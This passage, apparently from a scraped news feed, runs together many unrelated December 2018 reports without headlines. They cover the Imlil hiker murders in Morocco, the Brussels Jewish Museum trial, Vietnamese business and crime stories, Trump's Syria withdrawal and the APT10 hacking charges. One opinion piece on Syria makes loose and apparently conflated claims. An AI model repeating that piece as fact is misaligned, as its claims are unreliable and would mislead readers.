accounting for 10 percent of national income, and authorities frequently highlight security and hospitality in their advertising campaigns. Hikers from around the world visit Imlil, which sits 60 kilometres (40 miles) south of Marrakesh, and provide a vital income for residents. "It's very bad for the region. There will undoubtedly be cancellations," local guide Hossein said. The trails, which had been closed since the murders, reopened on Wednesday but trekkers already in Imlil had mixed feelings about going ahead with their plans. Nicolas, a Swiss hiker, said he had decided to camp overnight and then go ahead. But 27-year-old Morgan from New Zealand said he and his girlfriend might cancel their plan to climb Toubkal. "We feel affected" by the murders, he said. Moroccan authorities said Thursday four suspects arrested following the murder of two young Scandinavian hikers in southern Morocco had pledged allegiance to the Islamic State (IS) Three of the four suspects were arrested on Thursday over the grisly killing of the two hikers, as investigators probed a link to Islamic extremism. "The video showing the arrested individuals... pledging allegiance to Daesh was recorded last week before the execution of the criminal acts we are investigating," the Rabat prosecutor said in a statement using the using alternative name for IS and confirming the authenticity of the video. Government spokesman Mustapha Khalfi described the killings as a "criminal and terrorist act", while Prime Minister Saad Eddine El Othmani called them a "stab in the back of Morocco and Moroccans". That was in reference to the likely negative impact the murders will have on the North African country's vital tourism sectorwhich accounts for 10 percent of national income. The arrests in the city of Marrakesh follow a first arrest on Monday of a man suspected of belonging to an Islamic extremist group, hours after the discovery of the two women's bodies in the High Atlas mountains of southern Morocco. "The suspects have been arrested" and investigators were in the process of "verifying the terrorist motive, which is supported by the evidence and the findings of inquiries," said the central judicial investigations office. The bodies of Danish student Louisa Vesterager Jespersen, 24, and 28-year-old Maren Ueland from Norway were found on Monday, after the two friends had pitched their tent at an isolated mountain site two hours' walk from the tourist village of Imlil. RTL Belgium An image grab taken from a video broadcast in Morocco's news channel 2M on December 18, 2018 shows police officers next to a tent at the scene of a crime where the bodies of two Scandinavian women were found the day before in an isolated mountainous area 10 kilometres (six miles) from the tourist village of Imlil in the High Atlas range. Moroccan authorities on December 18, 2018 arrested a suspect following the murder of a Danish and Norwegian hiker, who were found dead with cuts to their necks, the interior ministry said. Imlil is a starting point for trekking and climbing tours of Mount Toubkal, which at 4,167 metres is the highest summit in North Africa. / AFP / 2M.ma Police have focused on the terrorism line of inquiry since arresting the first suspect in a poor neighbourhood of the region's main city of Marrakesh, which is a magnet for foreign tourists. "The radical Islamist line has not been removed, because of the profile of the (first) suspect arrested and the three" others, who have links to radical Islamic circles, a source close to the investigation told AFP on Wednesday. Investigators released pictures of three of those arrested, who were identified as Rachid Afatti, Ouaziad Younes and Ejjoud Abdessamad. IS link suspected In one of the black and white photos circulated by the authorities, a suspect wears white robes and a white skullcap, and has a long beard. The second suspect also has a long beard, while the third has a thin face and a goatee. But in another picture released by police after they were detained, the three are freshly shaven and wearing plain clothes. All three hail from Marrakesh, and one of them had "a court record linked to terrorist acts", police spokesman Boubker Sabik said. Danish Prime Minister Lars Lokke Rasmussen denounced what he called a "beastly crime". Addressing reporters, Rasmussen said "like the whole world, we react with consternation, disgust and a profound sadness." Norway's Prime Minister Erna Solberg condemned what she called a "brutal and meaningless attack on innocents". In Rabat, the government spokesman highlighted the efforts of the security services in the fight against terrorism by hailing the arrest in "record time" of the alleged suspects in the double murder. Blow for tourism Moroccan authorities were still working to determine the authenticity of a video posted on social media networks allegedly showing the murder of one of the tourists, a prosecutor said in a statement. The killings have sparked fears of a hit to Morocco's crucial tourist sector as the kingdom's relative security has always been a major selling point. "What most of us had feared -- that is to say a terrorist angle to the double crime in the region of Imlil, has been confirmed," said leading news website Medias 24. "Shock, sadness and revulsion are perceptible in Morocco," it added. Traumatised by the murders, residents of Imlil are deeply fearful for their livelihoods, and have helped investigators in identifying suspects, a tourism sector source told AFP. Morocco has been spared jihadist attacks since 2011, when a bomb attack on a cafe in Marrakesh's famed Jamaa El Fna Square killed 17 people, most of them European tourists. An attack in the North African state's financial capital Casablanca killed 33 people in 2003. An alleged French jihadist accused of returning from Syria and shooting dead four people in an attack on the Jewish Museum of Belgium in central Brussels appeared in court Thursday. Mehdi Nemmouche, allegedly the first foreign fighter to return to stage a terror attack on European soil, is charged with murder in the May 24, 2014 attack. Since then there have been several deadly attacks in both France and Belgium by militants connected to or inspired by movements like the Islamic State group. A policeman stands guard at the entrance of the Jewish Museum of Belgium in central Brussels after the unveiling of a plaque in memory of the four people shot dead there by a suspected jihadi extremist who had returned from Syria / AFP Belgium's State Security intelligence agency warned last month of a possible new wave of violence from militants radicalised in prison or Middle East conflicts. The 33-year-old confirmed his identity in the Brussels criminal court alongside his alleged accomplice, fellow French citizen 30-year-old Nacer Bendrer. "Mehdi Nemmouche, 33, no profession," said the young man, with a thin beard and a dark jumper, who was brought to court under tight security. No pleas were submitted at what was a pre-trial hearing, but defence lawyer Sebastien Courtoy said Nemmouche wants, after four years in custody, "to see his innocence recognised." Thursday's hearing was arranged to finalise the witness list before the full trial, which is due to start next month, but was the pair's first public appearance. Between 150 and 200 witnesses will be called when the main trial gets under way after January 10. In the attack, a man opened fire with an assault rifle in the Jewish Museum of Belgium, killing two Israeli tourists, a French volunteer and a Belgian receptionist. Prior to the attack, Nemmouche is said to have fought in Syria as part of a jihadist faction and is accused of acting as a jailer to kidnapped French journalists. During the investigation he acknowledged playing a role in the anti-Semitic assault on the museum, but denied that he was the shooter. Another suspect, caught on a security camera walking with Nemmouche by Brussels' Gare du Nord station after the attack has never been identified. Nemmouche was himself arrested on May 30, 2014, arriving at a bus station in the southern French city of Marseille with a bag containing several firearms. Anti-Semitic attacks His co-defendant Bendrer, a petty criminal from Marseille, was arrested at a later date with weapons, but his lawyer has insisted he had nothing to do with the attack. Belgian judge Laurence Massart presides a preliminary hearing designed to finalise a list of 150 to 200 witnesses in the Mehdi Nemmouche case, the French suspect in the Brussels Jewish museum attack Investigators say Nemmouche was in Syria from 2013 to 2014 and met Najim Laachraoui, a member of the gang which carried out bombings in Brussels in March 2016, killing 32 people. The same Brussels cell is also alleged to have carried out the gun and bombing attacks on November 13, 2015 in Paris that killed 130 people and wounded hundreds. The Islamic State group, which drew thousands of jihadists from Europe to parts of Syria and Iraq under its control, claimed responsibility for these attacks. Nemmouche is expected to face a separate trial in France for holding French hostages in Syria. He was charged in connection with that case in November last year. Born in the northern French town of Roubaix to a family of Algerian origin, he is being held in a Belgian prison. Belgium's Jewish community will be watching the trial closely, and its leaders have previously underscored the anti-Semitic nature of the museum attack. Investigators also believe one of the March 2016 bombers who hit Brussels airport specifically targeted Jewish travellers. The Jewish community was also singled out in attacks in the French city of Toulouse in March 2012, the Paris suburbs in January 2015, and in Copenhagen in February 2015. The EU Agency for Fundamental Rights reported earlier this month that nine out of 10 European Jews believe anti-Semitism has worsened in the last five years. Wonder Caves: Ideal Spot for Hikers and Cave Explorers Norway and Sweden contributed an additional total amount of $18.5 million to the Palestinian Partnership for Infrastructure Development Multi-Donor Trust Fund (PID fund) administered by the World Bank. The funds contributed by the Swedish International Development Cooperation Agency (Sida) amount to SEK 90 million, equivalent to $10 million, while Norways Ministry of Foreign Affairs contributed NOK 73 million ($ 8.5 million). The funds will support the Palestinian Authority implementing sector reforms and improving the quality and sustainability of infrastructure in water, energy and local government services provided to the Palestinian citizens. The PID Fund was established in 2012 with the objective of improving the coverage, quality, and sustainability of infrastructure in the Palestinian territories through financial and technical support in the energy, water and urban development sectors. With the new contributions, the total amount allocated to the PID fund stands at about $ 186.4 million. Currently, donors contributing to the fund include the governments of Croatia, Denmark, Finland, France, Netherlands, Norway, Portugal, Sweden, and United Kingdom. Saudi Arabia and its regional rival Iran have inked a deal that will facilitate the accomplishment of the Islamic Hajj ritual by Iranians next year. The agreement, signed in Saudi Arabia, provides for better arrangements for the Iranian pilgrims to avoid the problems they faced in previous years. Irans Hajj and Pilgrimage Organization will open a representation in the kingdom to facilitate visa issuance for Iranian pilgrims. For next year season, Saudi Arabia will issue 86,500 visas. Iran and Saudi Arabia, staunch rivals over regional influence, further fell apart in 2015 following the death of 464 Iranians in a stampede that killed 2,177 pilgrims in Mecca. Tehran subsequently refused to send pilgrims the following year. A launch ceremony for Honda-branded electric motorcycles took place in Ho Chi Minh City for two days this week without the knowledge of the Vietnamese unit of the Japanese automobile and motorcycle manufacturer, Honda Vietnam Company. The event, featuring the opportunity to test-drive what organizers claimed to be genuine Honda electric motorcycles, was held at the Culture Center on Cach Mang Thang Tam Street in District 3 on December 18 and 19. The introduction of these electric motorcycles caught the publics attention and received shares on Facebook by people excited that the prominent Japanese automobile and motorcycle manufacturer, Honda Motor Company, was behind the show. The vehicles exhibited at the show were mainly small-size electric motorcycles advertised as having several modern features such as high-durability U-shaped motorcycle chassis, bodies made of new ABS plastic, and high water resistance. Their electric motorcycles only weighed about 82 kilograms and could reach a maximum speed of 50 km/h. Show organizers also claimed the motorcycles could run for 50 kilometers per charge and offered a three-year warranty. Visitors could purchase the electric motorcycles for VND22.5-23.5 million (US$968-1,011) each. Visitors watch the Honda-branded electric motorcycles exhibited at the launch ceremony in Ho Chi Minh City. Photo: Tuoi Tre Like many visitors to the event, Nguyen Van Tai, a resident in District 3, could not help wondering about a strange name, Wuyang, put above the Honda make on the vehicles. In addition, Tai also noticed that the electric motorcycle batteries displayed at the spare parts booths all had Chinese characters. Addressing these questions, N., an attendant at the show, said that the current Wuyang electric motorcycle factory is located in China, but its products are in line with Hondas standards. Honda tested the quality of these motorcycles before they were shipped out of the factory, N. claimed, so you don't worry about the quality [of these electric motorcycles]. Meanwhile, Honda Vietnam claims to have had no information about the event, according to a representative of the company. The strange name Wuyang is put above the Honda make on the vehicles. Photo: Tuoi Tre The representative denied any involvement in the show, adding that the showcased electric motorcycles were neither manufactured, imported, nor distributed by the company. Honda Vietnam is checking with Honda Motor Company in Japan about the importer and distributor of these electric motorcycles, the representative said. According to its website, Wuyang-Honda Motors is a joint venture founded in 1992 by Guangzhou Motors Group Company and Japans Honda Motor in Guangzhou, China. The companys website also positions it as one of the largest motorcycle manufacturers in China. Meanwhile, Honda Vietnam is a joint venture founded by Honda Motor, Thailand-based Asian Honda Motor and Vietnam Engine and Agricultural Machinery (VEAM) Corporation in 1996, specializing in both motorcycle and automobile production, according to the companys website. An electric motorcycle battery displayed at the spare parts booths has Chinese characters. Photo: Tuoi Tre Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Your browser does not support the audio element. A delegation from the Confederation of Indian Industry, Tiruppur (CII), visited Ho Chi Minh City on Wednesday and Thursday to meet Vietnamese businesses and scope for investment opportunities in textiles and garments. The Consulate General of India in the city organized a business interaction at Rex Hotel in District 1, which was attended by representatives of Vietnamese textile organizations AGTEK, VCOSA, VINATEX; the Indian Chamber of Commerce (INCHAM); and the Vietnam Chamber of Commerce and Industry (VCCI). The business interaction was addressed by Consul General of India Dr. K Srikar Reddy; Pham Xuan Hong, chairman of AGTEK; T. Nallamuthu, chairman of the CII Karur chapter; and Dilbagh Singh, chairman of INCHAM, the consulate said Wednesday in a press release. 2018 has been an extraordinary year in terms of high-level exchanges between our countries, Dr. Reddy said. Vietnamese Prime Minister Nguyen Xuan Phuc visited India in January 2018, late State President Tran Dai Quang paid a state visit to the South Asian country in March 2018 and Indian President Ram Nath Kovind visited Vietnam from November 18 to 20, 2018, the diplomat said. Engagement at the highest levels has strengthened the bonds of friendship and fulfilled the meaning of the comprehensive strategic partnership between Hanoi and New Delhi at all levels, with economy and trade as strategic objectives, he added. Vietnam and India upgraded their strategic partnership, established in 2007, to the comprehensive strategic partnership In September 2016. Indias economic reforms are reflected in the World Banks Ease of Doing Business Index, as the country has climbed 53 places, from 130 in 2016 to 77 in 2018. Vietnams economy grew 6.2 percent in 2000-2017. Its GDP growth in January-September 2018 at 6.98 percent was the highest in the past eight years. Bilateral trade between the two countries reached US$7.62 billion in 2017, according to Vietnams General Statistics Office. That topped $9.18 billion in January-October this year, up 47 percent year on year, the office said. The GSO estimated Indian investment at $877 million by September 2018. The repeated visits by Indian business delegations and increasing bilateral trade are a true reflection of the interests and purposiveness of Indian enterprises, the consulate said in the press release. Vietnam and India are among the top five exporting countries in textiles and clothing and their manufacturing/trading interests converge at several points. In the textile sector, Vietnamese exports exceeded $31 billion in 2017; however, Vietnam also imported $19 billion worth of input materials, especially yarn and fabric in 2017. In April 2017-March 2018, Indias global exports in textiles and clothing were about $36.73 billion while its shipments to Vietnam reached $555 million, rising about 42 percent over the corresponding period of 2016-17. A business matching session at a B2B meeting in textiles and garments in Ho Chi Minh City on December 19, 2018. Photo: Consulate General of India In April-August 2018, Indian textile exports to Vietnam surged more than 59 percent over the corresponding period of 2017-18 to $257 million. As per the India-ASEAN FTA, most types of yarn, woven fabric and knit fabric can be imported duty-free from India from January 1, 2019. India is one of the suppliers of high-quality materials, fabrics, and machinery at the most competitive prices in the world and is a reliable international partner of Vietnam. Vietnamese companies are also welcome to explore the gigantic market of 1.3 billion people in India by investing in the production of yarn, fabric, and ready-made garments in India, as the government of India allows 100 percent FDI under the automatic route in textiles. India is one of the most cost-efficient textile manufacturing countries in the world with the presence of entire value chains for textile production, beginning from the production of natural fibers to the production of yarn, fabric and apparel within the country. Hong, chairman of AGTEK, said that Vietnam is an ideal destination for investors in view of the competitive labor costs and preferential policies in textile and garment sectors. The Vietnamese industry offers opportunities to Indian companies for investment and to set up textile and garment production units to benefit from the competitive advantages of Vietnamese FTAs and labour forces. There also lie several opportunities in supplying yarn, textiles and machinery to the Vietnamese industry and in the upskilling of the labour force. The industry can benefit by forming supply chains to take advantage of evolving global trade conditions while ensuring continued growth and development of this vital industry in the new technological era of Industry 4.0. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Most Southeast Asian stock markets rose on Wednesday with Indonesia leading the pack on reports of Sino-U.S. trade meetings in January, but Thailand and Vietnam failed to shrug off steep losses of previous session and traded lower. The trading sentiment in Asia bolstered after U.S. Treasury Secretary Steven Mnuchin told Bloomberg in an interview on Tuesday that United States and China are planning to hold meetings in January to "document an agreement" on trade. "Positive signals on the trade war front are stabilizing risk in Asia," Stephen Innes, head of trading for Asia-Pacific at OANDA, said in a note. "...while trade remains a work in progress, investors are at least taking some comfort that a resolution roadmap could be in place as soon as March 2019," he added. The sentiment appeared to slightly improve, with MSCI's broadest index of Asia-Pacific shares outside Japan up 0.4 percent in early trade. But investors remained cautious amid speculation that the U.S. Federal Reserve may end its tightening cycle in its policy meeting scheduled to conclude later on Wednesday, after a sharp fall in oil prices and U.S. President Donald Trump's call to not to "make yet another mistake". Indonesia's benchmark index rose 0.5 percent to snap three sessions of losses, with material and consumer stocks benefitting most. Indonesia, which imports a majority of its oil, will likely benefit after oil prices plummeted overnight, slipping more than 5 percent on Tuesday due to fears of a supply glut and falling demand. Shares of telecom products retailer Global Teleshop Tbk rose 25 percent and those of lender Bank Agris Tbk rose about 24 percent, and were was among top percentage gainers. Malaysia's index bounced after closing at its lowest level in nearly two years in the previous session, rising 0.8 percent in early trade. Shares in airport operator Malaysia Airports Holdings Berhad gained 0.5 percent, as did those of tourist resort operator Genting Malaysia Berhad, which rose 6.4 percent. Meanwhile, Malaysia's consumer price index (CPI), which is due later in the day, is expected to rise 0.5 percent in November from a year earlier, a Reuters poll showed, marginally slower than the previous month amid lower transport prices. Singapore's index edged up after being the region's worst performer in the previous session, with shares of passenger transport service provider ComfortDelGro Corp Ltd adding 1.4 percent. Thailand's benchmark edged lower with heavyweight energy stocks coming under pressure and accounting for a majority of losses after oil prices plummeted overnight. Shares of oil and gas company PTT PCL and PTT Exploration and Production PCL, top losers in the sector, lost 1.1 percent and 0.4 percent, respectively. Vietnam's index bucked the trend to edge slightly lower. It is on track for its fifth straight day of loss with its real-estate and consumer stocks coming under pressure. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Jetstar Pacific Airlines found a report claiming 2018 as a losing year so annoying that it decided to release its own business performance report on Wednesday, breaking with its standard practice of keeping its financial results private. In mid-December, Vietnamese brokerage firm Viet Capital Securities released a gloomy report claiming Jetstar Pacific, Vietnams first budget airline, was on track to chalk up VND750 billion (US$32.3 million) in losses by the end of the year. The brokerage company attributed their analysis to Jetstars poor competitiveness and therefore an inability to offset the rising costs of fuel and aircraft leases. A leader from the low-cost carrier promptly dismissed the report as spurious and groundless, asking Viet Capital Securities to retract it. The Jetstar executive also stated that the airline would reveal its performance a few days later. On Wednesday, Jetstar officially fired back at Viet Capital Securities with its own report predicting VND9.1 trillion ($391 million) in revenue for 2018 a year-on-year growth rate of 21 percent. The boost in revenue and the implementation of cost management methods helped cancel the effect of fuel price increases in 2018, when global average aircraft fuel costs rose by 30 percent compared with the previous year, the airline said. The operator carried a total of 6.2 million passengers over the past year and did claim a profit, but refused to disclose the number in absolute terms. Instead, the company reported that it had overshot its full-year profit target by VND161 billion ($6.9 million), adding that passenger revenue also surged by 27.6 percent year on year. Jetstar Pacific, owned 70-30 by Vietnam Airlines and Qantas Group, respectively, recorded positive changes in its numbers during the year. The numbers of passengers on domestic and international flights all climbed in the third quarter and it has maintained its high-quality service over the last three months, the airline said. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Vietnam always attaches importance to enhancing the traditional friendship and sound cooperation with Cambodia, Party chief and State President Nguyen Phu Trong told King Norodom Sihamoni in Hanoi on Wednesday. The host and guest held talks within the framework of King Sihamonis vacation trip to Vietnam from December 19 to 21, the Vietnam News Agency reported. General Secretary Trong congratulated the Cambodian people on the achievements they have made under the judicious reign of King Sihamoni and the leadership of the Senate, National Assembly, and government. He expressed his delight at meeting the Cambodian king, a close friend of the Vietnamese people, stressing that the kings ongoing leisure tour showed his special sentiments to Vietnam. On the occasion, the Party chief extended his best wishes to Queen Mother Monineath Sihanouk, and invited the king and queen mother to make a state visit or a leisure tour to Vietnam at a convenient time. Replying to his host, King Sihamoni praised the continuous development of Vietnam-Cambodia ties in the past five decades, adding that the two countries have enjoyed good cooperation in all fields as well as at regional and international forums, including the Association of Southeast Asian Nations (ASEAN). The king affirmed that he will continue exerting efforts to foster the solidarity, friendship, and sustainable cooperation between the two nations. As part of his visit, King Sihamoni visited the President Ho Chi Minh relic site at the Presidential Palace. He is also scheduled to have a leisure stay in the central city of Da Nang. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! US President Donald Trump Wednesday announced the withdrawal of American forces from war-torn Syria after he claimed victory over the Islamic State group (ISIS) that he said was the only reason of the American military presence in the Middle East country. After historic victories against ISIS, its time to bring our great young people home! Trump said in a video on Twitter. We have defeated ISIS (Daesh) in Syria, my only reason for being there during the Trump Presidency, he added. The retreat, an official in the Presidents administration told Reuters, will be total and will begin 60 or 100 days from now. All US military forces will be pulled out once final stages of last operation against ISIS is complete, the official who requested not to be named, said. The State Department personnel in Syria would be pulled out within 24 hours, the official added. There are currently 2,000 US troops on a train-and-advise mission in Syria, on the side of Syrian Democratic Forces (SDF), which control one third of the Syrian territory. Trumps decision took allies and US officials aback. US lawmakers attacked the decision noting that Turkey, which has demanded US support for the SDF because it contains terrorists and PKK-connected fighters, would benefit from the decision. Israeli politicians assailed Prime Minister Benjamin Netanyahu over the decision claiming that Iran and its Lebanon-based ally Hezbollah would entrench their presence in Syria where they have been fighting on the side of embattled President Bashar al-Assad. Netanyahu in a statement said US top diplomat Mike Pompeo assured him that Washington despite the withdrawal will continue influencing events. I spoke with US President Donald Trump [on Monday] and yesterday with US Secretary of State Mike Pompeo, who told me that it was the presidents intention to withdraw their forces from Syria and made it clear that they had other ways to express their influence in the arena, the statement said. Israel has used the US presence in Syria as bargaining chip to persuade Russia, which is lso supporting Bashar, to prevent Iran from increasing its presence in country. Read what is in the news today, December 20! Politics -- The chairwoman of Vietnams lawmaking body, the National Assembly, extended Christmas greetings to the Catholic community in the southern province of Dong Nai during her visit to the local Xuan Loc Catholic Diocese on Wednesday. -- Vietnamese State President Nguyen Phu Trong had an informal talk with Cambodian King Norodom Sihamoni in Hanoi on Wednesday during the kings leisure visit to Vietnam. Society -- Vietnamese police have launched a nationwide crackdown on loan sharking and illegal debt collecting that have trapped many poor people, especially in the southern regions which are the breeding ground for the practices. -- Vietnamese fishermen on Tuesday rescued eight Myanmarese and two Singaporean crew members who had drifted for over ten hours after their ship wrecked in the waters off the coast of Ba Ria-Vung Tau Province in southern Vietnam. -- Police on Tuesday arrested a Vietnamese journalist who had allegedly blackmailed a private firm into handing her US$70,000 so that her article of the companys supposed wrongdoing would not be published. -- A man in southern Vietnam was urgently taken into police custody for absconding with a VND600 million ($25,800) deposit from a person who had agreed to buy his so-called meteorite touted as having wonderful powers. The piece turned out to be a plastic-coated lead ball. -- A driver assistant died and six passengers were hospitalized after a passenger bus slammed into a roadside crash barrier and overturned on National Route 18 in the northern province of Quang Ninh on Wednesday. Business -- Authorities in Ho Chi Minh City and all 13 provinces and cities in Vietnams Mekong Delta on Wednesday signed an agreement on controlling the flow of goods in a bid to preempt local price spikes next year. -- Up to 581,700 cottage industries, one-third of the nationwide families who own businesses, were not under tax regulation in 2017, according to Vietnams General Department of Taxation. -- Vietnamese Internet security corporation Bkav said malware caused financial damage of VND14.9 trillion ($640.7 million) to users in Vietnam in 2018, a 21 percent year-on-year increase. -- The northern province of Quang Ninh, home to the UNESCO World Heritage Site of Ha Long, on Wednesday gave a welcome to its 15 millionth foreign visitor. The American tourist was handed souvenirs, along with the 14,999,999th and 15,000,001st visitors who also came on a ship. -- Qatar Airways opened its first commercial direct flight operated by a 192-passenger plane between the capital of Doha and Vietnams central metropolis of Da Nang on Wednesday. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! An industrial alcohol processing facility notorious for the stench its factory emits over a south-central Vietnam town has been accused by locals of dumping untreated wastewater directly into a nearby river. Authorities in Phu Yen Province, working off complaints from local residents, spent Tuesday sampling the foul wastewater from an alcohol-production facility owned by the Tuy Hoa Sugarcane and Sugar Company. The firm was immediately told to finish the construction of a short wall to keep the water from flowing into the river as a stopgap while the samples undergo testing over the next week. Tuoi Tres attempts to reach the firms leaders on Tuesday afternoon went unanswered. Luong Dinh Chung, a resident living near the factory, said he and his neighbors have suffered from the facilitys odors for several years. Local officers examine a discharge pipe of a factory in Phu Yen Province, south-central Vietnam, December 18, 2018. Photo: Tuoi Tre Wastewater is discharged from a factory in Phu Yen Province, south-central Vietnam, December 18, 2018. Photo: Tuoi Tre The final straw was seeing the wastewater released into the river they rely on, Chung said, adding that the company often discharges untreated water at night. Nguyen Quyet Thang, a local government leader, said authorities have repeatedly asked in vain that the company handle the issues brought forth by local residents. Figures from the Vietnam Environment Administration showed that approximately 300 businesses were found to be releasing wastewater that did not meet safety standards into rivers across the country during the 2015-16 period. Discharging toxic wastewater is punishable with up to seven years in prison and a fine of up to VND3 billion (US$129,000), according to a law put into effect in January of this year. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Your browser does not support the audio element. A floating object discovered off Phu Yen Province in south-central Vietnam on Tuesday has been identified as a torpedo used in training by a foreign navy, Vietnamese authorities announced on Wednesday. A Vietnamese fisherman found a cigar-shaped metal object adrift on Tuesday while fishing approximately four nautical miles off the coast of Phu Yen Province. The object, later identified by naval officers as a training torpedo, measures 6.8 meters long and 54 centimeters in diameter, with propellers installed at its tail and Chinese characters written on its body. The man brought the object to a beach in Tuy An District in Phu Yen on Wednesday, where naval officers conducted a thorough examination, said Bui Van Thanh, chairman of Tuy An District. Although Chinese characters are found on the torpedos body, authorities have been unable to tie the weapon to any particular country, Thanh said. It is still unclear whether the torpedo is just a dummy weapon or if it is actually capable of detonation. A foreign torpedo is brought to a beach in Phu Yen Province after being found adrift off the south-central Vietnamese province on December 18, 2018. Photo: Tuoi Tre Senior Colonel Nguyen Van Minh, commander of Phu Yens Border Guard, said the torpedo was set to be handed over to the Vietnam Navy on Wednesday evening. However, due to complications with the paperwork, the transfer has been delayed until Thursday morning, according to a source of Tuoi Tre (Youth) newspaper. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! A man accused of a hit-and-run that broke a university students leg in Hanoi earlier this month was taken into police custody on Wednesday. Officers in the capital's Hai Ba Trung District confirmed that they had apprehended Nguyen Manh Hong, 28, who hails from Tuyen Quang Province, located in northern Vietnam. Hong was identified as the driver of a Range Rover who ran a red light at the intersection of Ba Trieu with Tran Nhan Tong Streets at around 11:30 pm on December 7. The car crashed into a motorbike being ridden by Tran Le Minh Trang, a 19-year-old sophomore at a local university. Trang was knocked off her vehicle and suffered brain injury, a broken left leg, a wounded right leg, and several more injuries across her body. Hong continued driving after the collision. According to Tran Van Quan, Trangs father, she was admitted to the 108 Military Central Hospital in Hanoi, where doctors have successfully performed surgery on her wounds. Police officers launched an investigation immediately following the incident and were able to identify the cars license plate number thanks to eyewitness statements and CCTV footage. They later indentified Hong as the driver and initiated a manhunt. He was arrested while hiding in the northern province of Quang Ninh. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Police in the northern Vietnamese province of Bac Giang have arrested a reporter for allegedly blackmailing a local business for US$70,000. An official from the provincial police department confirmed on Tuesday they had apprehended Dao Thi Thanh Binh, a 40-year-old correspondent for the Hanoi-based Thuong Hieu va Cong Luan (Trademark and Public Opinion) newspaper, an online news outlet operated by the Vietnam Association for Anti-Counterfeiting and Trademark Protection (VATAP). Binh was caught red-handed taking $70,000 at Thuong Hieu va Cong Luans headquarters from Tang Due Bang, a Chinese national residing in Bac Giang who serves as the director of external relations for Luxshare-ICT Vietnam. Luxshare-ICT Vietnam is a Chinese-invested company which specializes in cables and connectors for computers and telecommunications devices, consumer electronics, and car and medical cables. The firm is based in Bac Giangs Quang Chau Industrial Park. Officers confiscated the money and a CPU during their raid on the newsroom, A police investigation revealed that Binh had first met with Bang at Luxshare-ICT Vietnams headquarters to demand $100,000. In return, she would not expose several of the firms legal violations in her articles. Following several negotiations using a broker, the journalist agreed to lower the the amount to $70,000. According to a representative from Thuong Hieu va Cong Luan, Binh had made a proposition to the editorial board for her to collect information regarding a housing project for workers of Luxshare-ICT Vietnam Company. The board approved and wrote a referral paper for Binh to meet with the firm, the management board of Quang Chau Industrial Park, and the Bac Giang Peoples Committee. The Vietnam Journalists Association on Wednesday asked Bac Giang police to verify the case. It also requested Thuong Hieu va Cong Luan newspaper issue a report of the case and impose a stern punishment on the reporter once her offense is confirmed. After the investigation concludes, the association is expected to revoke her press card in accordance with protocol. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Donald Trump is a man who has the propensity to shock both his advisors and opponents. Just a few months back he had launched a missile attack against Syria on the alleged use of WMD by the Bashar regime. The president true to his style has now tweeted that US troops would be withdrawn from Syria. Yahoo news has reported that the president has claimed victory over the ISIS and ordered the withdrawal of US troops. The Kurds The US troops which number about 2000 were sent in to fight the ISIS as well as help the Kurdish allies of America. This was a sore point with President Erdogan of Turkey who claimed the Kurds were having a seamless organisation and along with Kurds inside Turkey were fighting a war against the Turkish government. This withdrawal of US troops will certainly please the Turkish president as the Kurds will be left on their own to face up to the Turks. President Erdogan has vowed to destroy the Kurdish strongholds in Syria. In a reality check, it is known that U.S. forces have been stationed in Syrias north-central and northeast areas. These are in areas under control of American Kurdish partner forces. There is more than a grain of truth that the withdrawal may have something to do with an attempt to placate Erdogan. Defeat of ISIS The President had claimed that the US troops were sent to fight the ISIS in Syria at a time when large swathes of territory were under their control and they at will had bombed and killed 325 people in a bomb blast at a Sufi shrine. He has now claimed victory as the ISIS is defeated and barely controls 1 percent of Syrian territory at present. The Washington Post has reported that many in America including his own party members are not happy with this withdrawal and have asked for greater clarification. Many fear that the Kurds will now be left to fight their own battles and this will embolden Turkey. Withdrawal The withdrawal of US from Syria may be completed by the 15th of next month. There is no doubt that the abruptness of the decision has surprised most powers in the Middle East as well as political stalwarts at home. The Americans have suffered some casualties in Syria, but they are far less than at other places like the killings in Niger. Never the less this decision of Trump will uphold his promise to bring US serviceman back home from Syria after the ISIS is defeated. In a way, he is justified as the US forces were not doing much except covering the Kurds. Putin has already withdrawn a substantial number of Russian forces from Syria, and this is like a reciprocal move. It will leave Assad stronger and doubtless, he will consolidate his position. The UK has condemned Beijing as the US charged Chinese hackers accused of attempting to steal trade secrets and technologies in a bid to compromise government computers. More than a dozen allies affected - including the UK - have condemned China over the allegations. The US Justice Department revealed criminal charges against two hackers allegedly affiliated with Beijing's main intelligence service over a cyber-spying campaign targeting the US and others countries' networks. The charges accuse a group - known as APT 10 - of spying on some of the world's biggest firms by hacking into technology companies which managed email, storage and other computing tasks. Countries affected have accused China of backing the large-scale operation, known as Cloudhopper. In a statement, the Foreign Office said: "This campaign shows that elements of the Chinese government are not upholding the commitments China made directly to the UK in a 2015 bilateral agreement. "It is also inconsistent with G20 commitments that no country should conduct or support ICT enabled theft of intellectual property, including trade secrets or other confidential business information." A senior Whitehall source told Sky News it was "certain that UK and allies' trade secrets have been stolen" by APT 10. The alleged hacking group, which is also known as Stone Panda and Menupass, is a Tianjin based group which has been operational since 2009, according to Sky (Frankfurt: 893517 - news) sources. Its members are not conventional state employees, but condoned and working in concert with Chinese state security, the source told Sky News. "They are more like a corporation than a gang," the senior Whitehall source added. "The tentacles of this campaign are vast. It involves very widespread targeting of globally significant companies, including 'household names' - and this campaign is still ongoing." Foreign Secretary Jeremy Hunt said the hacking campaign was "one of the most significant and widespread cyber intrusions against the UK and allies uncovered to date". Story continues "These activities must stop," he said in a statement. "They go against the commitments made to the UK in 2015, and, as part of the G20, not to conduct or support cyber-enabled theft of intellectual property or trade secrets. "Our message to governments prepared to enable these activities is clear: together with our allies, we will expose your actions and take other necessary steps to ensure the rule of law is upheld." Theresa May's spokesman later said that the UK enjoyed a strong relationship with China, which allowed it to express disagreement following the hacking claims. However, he did say that despite requests and time for an investigation, China has "not engaged". Speaking about the alleged hacking, he said the threat is not thought to be targeting citizens and that he did not yet have information on how many UK businesses may have been targeted. Meanwhile in the US, FBI director Christopher Wray said "no country poses a broader, more severe, long-term threat" to the American economy than China. US deputy attorney general Rod Rosenstein said China had "violated" its 2015 agreement to curb cyber espionage for commercial purposes. 